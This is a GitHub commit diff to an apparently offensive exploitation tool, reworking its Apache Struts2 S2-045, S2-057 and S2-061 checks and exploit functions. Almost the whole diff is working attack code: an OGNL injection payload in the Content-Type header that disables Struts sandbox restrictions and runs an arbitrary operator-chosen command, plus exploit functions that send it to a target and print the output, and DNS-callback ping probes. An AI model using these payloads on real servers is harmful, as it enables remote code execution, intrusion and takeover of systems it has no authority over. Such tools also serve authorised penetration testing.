thank @shadow1ng fix struts2-045 poc and exp

This commit is contained in:
之乎者也
2021-02-26 14:42:20 +08:00
committed by GitHub
parent a3a9d7ff95
commit a51a9e4944

View File

@@ -105,21 +105,19 @@ class ApacheStruts2():
"(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter" "(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter"
"(%23parameters.pp%5B0%5D),%23str%3D%23s.hasNext()%3F%23s.next()%3A%23parameters.ppp%5B0%5D,%23w." "(%23parameters.pp%5B0%5D),%23str%3D%23s.hasNext()%3F%23s.next()%3A%23parameters.ppp%5B0%5D,%23w."
"print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=RECOMMAND&pp=____A&ppp=%20&encoding=UTF-8") "print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=RECOMMAND&pp=____A&ppp=%20&encoding=UTF-8")
self.payload_s2_045 = r"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
self.payload_s2_045 = r"%{(#toolslogo='multipart/form-data').(#dm=@ogn" \ r"(#_memberAccess?(#_memberAccess=#dm):" \
r"l.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_member" \ r"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
r"Access=#dm):((#container=#context['com.opensymphony.xwork2.Act" \ r"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
r"ionContext.container']).(#ognlUtil=#container.getInstance(@com" \ r"(#ognlUtil.getExcludedPackageNames().clear())." \
r".opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExclu" \ r"(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))." \
r"dedPackageNames().clear()).(#ognlUtil.getExcludedClasses().cle" \ r"(#req=@org.apache.struts2.ServletActionContext@getRequest())." \
r"ar()).(#context.setMemberAccess(#dm)))).(#cmd='RECOMMAND').(#i" \ r"(#res=@org.apache.struts2.ServletActionContext@getResponse())." \
r"swin=(@java.lang.System@getProperty('os.name').toLowerCase().c" \ r"(#res.setContentType('text/html;charset=UTF-8'))." \
r"ontains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/b" \ r"(#s=new java.util.Scanner((new java.lang.ProcessBuilder" \
r"ash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p" \ r"('RECOMMAND'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'))." \
r".redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org." \ r"(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str))." \
r"apache.struts2.ServletActionContext@getResponse().getOutputStr" \ r"(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}"
r"eam())).(@org.apache.commons.io.IOUtils@copy(#process.getInput" \
r"Stream(),#ros)).(#ros.flush())}"
self.payload_s2_046 = '''-----------------------------\r\n ''' \ self.payload_s2_046 = '''-----------------------------\r\n ''' \
'''Content-Disposition: form-data; name=\"foo\"; filename=\"%{''' \ '''Content-Disposition: form-data; name=\"foo\"; filename=\"%{''' \
'''(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_M''' \ '''(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_M''' \
@@ -534,68 +532,39 @@ class ApacheStruts2():
self.vul_info["vul_type"] = "remote command execution" self.vul_info["vul_type"] = "remote command execution"
self.vul_info["vul_data"] = "null" self.vul_info["vul_data"] = "null"
self.vul_info["vul_desc"] = "Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser." self.vul_info["vul_desc"] = "Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser."
self.vul_info["cre_date"] = "2021-01-30" self.vul_info["cre_date"] = "2021-02-26"
self.vul_info["cre_auth"] = "zhzyker" self.vul_info["cre_auth"] = "zhzyker"
md = random_md5() md = random_md5()
cmd = "echo " + md cmd = "echo " + md
self.page = "null" headers_1 = {
self.vuln_number = 0 'User-Agent': self.ua,
self.method = "get" 'Content-Type': self.payload_s2_045.replace("RECOMMAND", cmd)
self.headers1 = { }
headers_2 = {
'User-Agent': self.ua, 'User-Agent': self.ua,
'Content-Type': '${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].' 'Content-Type': '${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].'
'addHeader("FUCK",233*233)}.multipart/form-data' 'addHeader("FUCK",233*233)}.multipart/form-data'
} }
self.headers2 = {
'User-Agent': self.ua,
'Content-Type': self.payload_s2_045.replace("RECOMMAND", cmd)
}
try: try:
self.req = requests.get(self.url, headers=self.headers1, timeout=self.timeout, verify=False) self.request = requests.post(self.url, headers=headers_1, timeout=self.timeout, verify=False)
if md in misinformation(self.request.text, md):
self.vul_info["vul_data"] = dump.dump_all(self.request).decode('utf-8', 'ignore')
self.vul_info["prt_resu"] = "PoCSuCCeSS"
self.vul_info["vul_payd"] = self.payload_s2_045.replace("RECOMMAND", cmd)
self.vul_info["prt_info"] = "[rce] [cmd:" + cmd + "]"
else:
self.request = requests.post(self.url, headers=headers_2, timeout=self.timeout, verify=False)
if r"54289" in self.request.headers['FUCK']: if r"54289" in self.request.headers['FUCK']:
vuln_number = 1 self.vul_info["vul_data"] = dump.dump_all(self.request).decode('utf-8', 'ignore')
self.fuck045 = self.request.headers['FUCK']
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
self.vul_info["prt_resu"] = "PoCSuCCeSS" self.vul_info["prt_resu"] = "PoCSuCCeSS"
self.vul_info["vul_payd"] = '${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("FUCK",233*233)}.multipart/form-data' self.vul_info["vul_payd"] = '${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("FUCK",233*233)}.multipart/form-data'
self.vul_info["prt_info"] = "[rce] [cmd: 233*233]" self.vul_info["prt_info"] = "[rce] [cmd: 233*233]"
verify.scan_print(self.vul_info) verify.scan_print(self.vul_info)
else:
try:
self.request = urllib.request.Request(self.url, headers=self.headers2)
self.page = urllib.request.urlopen(self.request, timeout=self.timeout).read()
except http.client.IncompleteRead as error:
self.page = error.partial
except Exception as error:
self.text045 = str(error)
if r"timed out" in self.text045:
verify.timeout_print(self.vul_info["prt_name"])
elif r"Connection refused" in self.text045:
verify.connection_print(self.vul_info["prt_name"])
else:
if md in misinformation(self.text045, md):
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
self.vul_info["prt_resu"] = "PoCSuCCeSS"
self.vul_info["vul_payd"] = '${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("FUCK",233*233)}.multipart/form-data'
self.vul_info["prt_info"] = "[rce] [cmd: 233*233]"
verify.scan_print(self.vul_info)
try:
self.r = self.page.decode("utf-8")
except:
self.r = self.page.decode("gbk")
else:
self.r = bytes.decode(self.page)
if md in misinformation(self.r, md):
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
self.vul_info["prt_resu"] = "PoCSuCCeSS"
self.vul_info["vul_payd"] = self.payload
self.vul_info["prt_info"] = "[rce] [cmd: " + cmd + "]"
verify.scan_print(self.vul_info)
except requests.exceptions.Timeout: except requests.exceptions.Timeout:
verify.timeout_print(self.vul_info["prt_name"]) verify.timeout_print(self.vul_info["prt_name"])
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError:
verify.connection_print(self.vul_info["prt_name"]) verify.connection_print(self.vul_info["prt_name"])
except Exception as e: except Exception:
verify.error_print(self.vul_info["prt_name"]) verify.error_print(self.vul_info["prt_name"])
self.threadLock.release() self.threadLock.release()
@@ -757,20 +726,16 @@ class ApacheStruts2():
"package have no or wildcard namespace." "package have no or wildcard namespace."
self.vul_info["cre_date"] = "2021-01-30" self.vul_info["cre_date"] = "2021-01-30"
self.vul_info["cre_auth"] = "zhzyker" self.vul_info["cre_auth"] = "zhzyker"
md = random_md5() md = dns_request()
cmd = "echo " + md cmd = "ping " + md
self.payload = self.payload_s2_057.replace("RECOMMAND", cmd) self.payload = self.payload_s2_057.replace("RECOMMAND", cmd)
try: try:
self.req = requests.get(self.url + self.payload, headers=self.headers, timeout=self.timeout, verify=False) self.req = requests.get(self.url + self.payload, headers=self.headers, timeout=self.timeout, verify=False)
self.page = self.req.text if dns_result():
self.etree = html.etree
self.page = self.etree.HTML(self.page)
self.data = self.page.xpath('//footer/div[1]/p[1]/a[1]/@*')
if md in misinformation(self.data, md):
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore') self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
self.vul_info["prt_resu"] = "PoCSuCCeSS" self.vul_info["prt_resu"] = "PoCSuCCeSS"
self.vul_info["vul_payd"] = self.payload self.vul_info["vul_payd"] = self.payload
self.vul_info["prt_info"] = "[rce] [cmd: " + cmd + "]" self.vul_info["prt_info"] = "[dns] [cmd: " + cmd + "]"
verify.scan_print(self.vul_info) verify.scan_print(self.vul_info)
except requests.exceptions.Timeout: except requests.exceptions.Timeout:
verify.timeout_print(self.vul_info["prt_name"]) verify.timeout_print(self.vul_info["prt_name"])
@@ -839,21 +804,18 @@ class ApacheStruts2():
" may lead to remote code execution." " may lead to remote code execution."
self.vul_info["cre_date"] = "2021-01-30" self.vul_info["cre_date"] = "2021-01-30"
self.vul_info["cre_auth"] = "zhzyker" self.vul_info["cre_auth"] = "zhzyker"
md = random_md5() md = dns_request()
cmd = "echo " + md cmd = "ping " + md
self.payload = self.payload_s2_061.replace("RECOMMAND", cmd) self.payload = self.payload_s2_061.replace("RECOMMAND", cmd)
if r"?" not in self.url: if r"?" not in self.url:
self.url_061 = self.url + "?id=" self.url_061 = self.url + "?id="
try: try:
self.req = requests.get(self.url_061 + self.payload, headers=self.headers, timeout=self.timeout, verify=False) self.req = requests.get(self.url_061 + self.payload, headers=self.headers, timeout=self.timeout, verify=False)
self.page = self.req.text if dns_result():
self.page = etree.HTML(self.page)
self.r = self.page.xpath('//a[@id]/@id')[0]
if md in misinformation(self.r, md):
self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore') self.vul_info["vul_data"] = dump.dump_all(self.req).decode('utf-8', 'ignore')
self.vul_info["prt_resu"] = "PoCSuCCeSS" self.vul_info["prt_resu"] = "PoCSuCCeSS"
self.vul_info["vul_payd"] = self.payload self.vul_info["vul_payd"] = self.payload
self.vul_info["prt_info"] = "[rce] [cmd: " + cmd + "]" self.vul_info["prt_info"] = "[dns] [cmd: " + cmd + "]"
verify.scan_print(self.vul_info) verify.scan_print(self.vul_info)
except requests.exceptions.Timeout: except requests.exceptions.Timeout:
verify.timeout_print(self.vul_info["prt_name"]) verify.timeout_print(self.vul_info["prt_name"])
@@ -1017,48 +979,19 @@ class ApacheStruts2():
def s2_045_exp(self, cmd): def s2_045_exp(self, cmd):
vul_name = "Apache Struts2: S2-045" vul_name = "Apache Struts2: S2-045"
self.page = "null" headers = {
self.vuln_number = 0
self.method = "get"
self.headers1 = {
'User-Agent': self.ua,
'Content-Type': '${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].'
'addHeader("FUCK",233*233)}.multipart/form-data'
}
self.headers2 = {
'User-Agent': self.ua, 'User-Agent': self.ua,
'Content-Type': self.payload_s2_045.replace("RECOMMAND", cmd) 'Content-Type': self.payload_s2_045.replace("RECOMMAND", cmd)
} }
try: try:
self.req = requests.get(self.url, headers=self.headers1, timeout=self.timeout, verify=False) self.req = requests.post(self.url, headers=headers, timeout=self.timeout, verify=False)
self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore') self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore')
try: verify.exploit_print(self.req.text, self.raw_data)
self.request = urllib.request.Request(self.url, headers=self.headers2)
self.page = urllib.request.urlopen(self.request, timeout=self.timeout).read()
except http.client.IncompleteRead as error:
self.page = error.partial
self.r = self.page.decode("utf-8")
verify.exploit_print(self.r, self.raw_data)
except Exception as error:
self.text045 = str(error)
if r"timed out" in self.text045:
verify.timeout_print(self.vul_info["prt_name"])
elif r"Connection refused" in self.text045:
verify.connection_print(self.vul_info["prt_name"])
else:
verify.exploit_print(self.text045, self.raw_data)
try:
self.r = self.page.decode("utf-8")
except:
self.r = self.page.decode("gbk")
else:
self.r = bytes.decode(self.page)
verify.exploit_print(self.r, self.raw_data)
except requests.exceptions.Timeout: except requests.exceptions.Timeout:
verify.timeout_print(vul_name) verify.timeout_print(vul_name)
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError:
verify.connection_print(vul_name) verify.connection_print(vul_name)
except Exception: except Exception as e:
verify.error_print(vul_name) verify.error_print(vul_name)
def s2_046_exp(self, cmd): def s2_046_exp(self, cmd):
@@ -1124,12 +1057,9 @@ class ApacheStruts2():
self.payload = self.payload_s2_057.replace("RECOMMAND", cmd) self.payload = self.payload_s2_057.replace("RECOMMAND", cmd)
try: try:
self.req = requests.get(self.url + self.payload, headers=self.headers, timeout=self.timeout, verify=False) self.req = requests.get(self.url + self.payload, headers=self.headers, timeout=self.timeout, verify=False)
self.page = self.req.text r = "Command Executed Successfully (But No Echo)"
self.etree = html.etree
self.page = self.etree.HTML(self.page)
self.data = self.page.xpath('//footer/div[1]/p[1]/a[1]/@*')
self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore') self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore')
verify.exploit_print(self.data, self.raw_data) verify.exploit_print(r, self.raw_data)
except requests.exceptions.Timeout: except requests.exceptions.Timeout:
verify.timeout_print(vul_name) verify.timeout_print(vul_name)
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError:
@@ -1160,11 +1090,9 @@ class ApacheStruts2():
self.url_061 = self.url + "?id=" self.url_061 = self.url + "?id="
try: try:
self.req = requests.get(self.url_061 + self.payload, headers=self.headers, timeout=self.timeout, verify=False) self.req = requests.get(self.url_061 + self.payload, headers=self.headers, timeout=self.timeout, verify=False)
self.page = self.req.text r = "Command Executed Successfully (But No Echo)"
self.page = etree.HTML(self.page)
self.r = self.page.xpath('//a[@id]/@id')[0]
self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore') self.raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore')
verify.exploit_print(self.r, self.raw_data) verify.exploit_print(r, self.raw_data)
except requests.exceptions.Timeout: except requests.exceptions.Timeout:
verify.timeout_print(vul_name) verify.timeout_print(vul_name)
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError: